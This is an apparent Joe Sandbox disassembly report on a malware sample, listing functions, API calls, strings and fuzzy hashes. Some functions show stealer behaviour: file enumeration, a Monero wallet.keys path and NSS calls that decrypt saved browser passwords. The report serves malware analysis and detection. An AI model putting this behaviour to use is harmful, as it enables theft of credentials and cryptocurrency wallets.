StrCmpCA.SHLWAPI(?,00580FC8), ref: 00574601
FindNextFileA.KERNEL32(000000FF,?), ref: 0057468B
FindClose.KERNEL32(000000FF), ref: 005746A0
lstrcat.KERNEL32(?,0044FA70), ref: 005746C5
lstrcat.KERNEL32(?,0044EA60), ref: 005746D8
lstrlen.KERNEL32(?), ref: 005746E5
lstrlen.KERNEL32(?), ref: 005746F6

Strings

%s\%s, xrefs: 0057461B
`D, xrefs: 005746CB
%s\*, xrefs: 0057459A

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*$`D
API String ID: 671575355-1008167521
Opcode ID: c0c3de5be5fe989e5e4ef9cf9a8fd92b7d8306a676816fc2b920b3515ca707ee
Instruction ID: 1a022198979c7d3016c220072df92997f024df76443faa355d08c40916bf66aa
Opcode Fuzzy Hash: c0c3de5be5fe989e5e4ef9cf9a8fd92b7d8306a676816fc2b920b3515ca707ee
Instruction Fuzzy Hash: DA5155B1540219ABC765EB70DC89FEE777CBB98300F408588B61D92090EB789B84CF95

Function 6CA9FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB0E7B8), ref: 6CA9FF81
LeaveCriticalSection.KERNEL32(6CB0E7B8), ref: 6CAA022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAA0240
EnterCriticalSection.KERNEL32(6CB0E768), ref: 6CAA025B
LeaveCriticalSection.KERNEL32(6CB0E768), ref: 6CAA027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA9FE99, 6CA9FEB7, 6CA9FED3, 6CAA0DB8, 6CAA0DD3, 6CAA19B4
: (malloc) Error in VirtualFree(), xrefs: 6CAA0D67, 6CAA0D7B, 6CAA0DAC
<jemalloc>, xrefs: 6CAA0D62, 6CAA0D76, 6CAA0DA7

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: e4e4e7cb08f5c80f61156a8708159b9e5c9a6d409dc02f3a791132d6565f4063
Instruction ID: da3a6dabade9406462757c00bf836aadc1de9df7c04bd06ee51e0630b2988082
Opcode Fuzzy Hash: e4e4e7cb08f5c80f61156a8708159b9e5c9a6d409dc02f3a791132d6565f4063
Instruction Fuzzy Hash: 1DC2E071B057418FD714CF68C980716BBE1BF85328F28C66DE5AA8B795D731E882CB81

Function 6CAAED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CAAEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CAAEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAB1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CAB1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAB1A3E

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: dc7b190286bf7e5de9c18a6f5fba1119a2a39c10a4853b81126e881dea25a2ff
Instruction ID: 10c8f4c93647621ec2a440e3dbcd49b01390dcef20bdac438ec0492bad14c444
Opcode Fuzzy Hash: dc7b190286bf7e5de9c18a6f5fba1119a2a39c10a4853b81126e881dea25a2ff
Instruction Fuzzy Hash: E6B32A71E002198FCB14CFA9C990AADB7B6FF49304F1982A9D549BB745D730AD86CF90

Function 0056ED20 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0056ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0056ED55
StrCmpCA.SHLWAPI(?,00581538), ref: 0056EDAB
StrCmpCA.SHLWAPI(?,0058153C), ref: 0056EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0056F2AE
FindClose.KERNEL32(000000FF), ref: 0056F2C3

Strings

%s\*.*, xrefs: 0056ED32
PD, xrefs: 0056F0E8

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*$PD
API String ID: 180737720-1806373868
Opcode ID: 07b558a5a021d8e46fb870c2dcf5a343024a7d5fe751532d4d2371c00b366f4d
Instruction ID: fb83a28f542b2ef42436f223a0a19a87f2eca66b2e89dcbf099e8becbb20b13c
Opcode Fuzzy Hash: 07b558a5a021d8e46fb870c2dcf5a343024a7d5fe751532d4d2371c00b366f4d
Instruction Fuzzy Hash: 16E1F0729111199ADB54FB60EC56EEE7B38BFD4300F408199B51E62092EF306F8ADF52

Function 0056DE10 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00580C2E), ref: 0056DE5E
StrCmpCA.SHLWAPI(?,005814C8), ref: 0056DEAE
StrCmpCA.SHLWAPI(?,005814CC), ref: 0056DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0056E3E0
FindClose.KERNEL32(000000FF), ref: 0056E3F2

Strings

PD, xrefs: 0056E27A
\*.*, xrefs: 0056DE26
D, xrefs: 0056E17C

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: PD$\*.*$D
API String ID: 2325840235-2063558700
Opcode ID: 90ce0f9c925f9b0dc77eeaec27d7228965f067b7caa640fe10c3a57695ddfd7d
Instruction ID: 58c79d3ba1f06a7414564d99d5c465cd6bd95b122daf7f46bbe13adf4bd4c14d
Opcode Fuzzy Hash: 90ce0f9c925f9b0dc77eeaec27d7228965f067b7caa640fe10c3a57695ddfd7d
Instruction Fuzzy Hash: D5F1AF718101199ADB15FB60EC9AEEE7738BFD4300F8081D9A51E62091EF346F4ADF66

Function 6CAAD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB0E784,?,?,?,?,?,?,?,00000000,76E22FE0,00000001,?,6CABD1C5), ref: 6CAAD4F2
LeaveCriticalSection.KERNEL32(6CB0E784,?,?,?,?,?,?,?,00000000,76E22FE0,00000001,?,6CABD1C5), ref: 6CAAD50B

Part of subcall function 6CA8CFE0: EnterCriticalSection.KERNEL32(6CB0E784), ref: 6CA8CFF6
Part of subcall function 6CA8CFE0: LeaveCriticalSection.KERNEL32(6CB0E784), ref: 6CA8D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76E22FE0,00000001,?,6CABD1C5), ref: 6CAAD52E
EnterCriticalSection.KERNEL32(6CB0E7DC), ref: 6CAAD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAAD6A6
LeaveCriticalSection.KERNEL32(6CB0E7DC), ref: 6CAAD712
LeaveCriticalSection.KERNEL32(6CB0E784,?,?,?,?,?,?,?,00000000,76E22FE0,00000001,?,6CABD1C5), ref: 6CAAD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAAD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CAAD82C
<jemalloc>, xrefs: 6CAAD827

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 58ab173bb4228db6afd8d242b3ee72d6d5c7b0720267b13b314f7f1407d60833
Instruction ID: 87c0fa1e0967b039b27237c20aea767e8ef361acb09c13f4eb4754d5465ae4ff
Opcode Fuzzy Hash: 58ab173bb4228db6afd8d242b3ee72d6d5c7b0720267b13b314f7f1407d60833
Instruction Fuzzy Hash: 7091B271F047418FD718CF68C59076AB7E1FB99318F18492EE9DA87A81D730E885CB82

Function 6CAE4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CAE4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE4F2E
moz_xmalloc.MOZGLUE ref: 6CAE4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CAE4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE52E6
Sleep.KERNEL32(00000010), ref: 6CAE5481
free.MOZGLUE(?), ref: 6CAE5498

Strings

(, xrefs: 6CAE5250

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 925078c28298ce43ce89b0f27150ef5707b8e3b63a03356dc08baac9e459a7df
Instruction ID: a58814ec2a400454667ba8af1a8505b50643dc9f9836c6e18518aa7d7800ac26
Opcode Fuzzy Hash: 925078c28298ce43ce89b0f27150ef5707b8e3b63a03356dc08baac9e459a7df
Instruction Fuzzy Hash: D2F1C071B18B018FC716CF39885062BB7FAAFD6384F05872EF846A7651DB3198468B81

Function 0056C820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0056C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0056C87C
PK11_GetInternalKeySlot.NSS3 ref: 0056C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0056C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0056C8EB
lstrcat.KERNEL32(?,00580B46), ref: 0056C943
lstrcat.KERNEL32(?,00580B47), ref: 0056C957
PK11_FreeSlot.NSS3(?), ref: 0056C961
lstrcat.KERNEL32(?,00580B4E), ref: 0056C978

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 420a300c4445a1499f9fbbc3f9af155f4ef06b26da4b5dc0efaf15fb4c9bc0d4
Instruction ID: 6a4f3fbd786c9dc3313d2040537e9370ffd4878b3b5857054a3c690e7aa17b88
Opcode Fuzzy Hash: 420a300c4445a1499f9fbbc3f9af155f4ef06b26da4b5dc0efaf15fb4c9bc0d4
Instruction Fuzzy Hash: 2941807590421AEBDB50DFA0DD89BFEBBB8BB88304F1045A8F509A7280D7745A84CF91

Function 6CAD2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAD2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAD2C61

Part of subcall function 6CA84DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA84E5A
Part of subcall function 6CA84DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA84E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAD2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAD2E2D

Part of subcall function 6CA981B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CA981DE

Strings

expected a Time entry, xrefs: 6CAD2E36
ProfileBuffer parse error: %s, xrefs: 6CAD2E3B
(root), xrefs: 6CAD354F

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 54a18692477e60793b9fcb53cddbf744755d067f89887ef62fb9a77a528beb3a
Instruction ID: 03e9a77e76e42e9309a12c2d2b16bb98f5308aaebbe8a5d91b2aa729e150297b
Opcode Fuzzy Hash: 54a18692477e60793b9fcb53cddbf744755d067f89887ef62fb9a77a528beb3a
Instruction Fuzzy Hash: D191AF706087818FC724CF24C49469FB7F1AF89358F154A1DE9DA9B750DB30E98ACB52

Function 00926AD3 Relevance: 11.6, Strings: 8, Instructions: 1621COMMON

Download Yara Rule

Strings

wh>, xrefs: 00927B8B
Pc[, xrefs: 00926CD7
N,u\, xrefs: 00927DAA
A'SW, xrefs: 00926BD7
}-r, xrefs: 009277D7
Q$}X, xrefs: 00927694
4%>, xrefs: 00926D27
HGk?, xrefs: 009273BA

Memory Dump Source

Source File: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
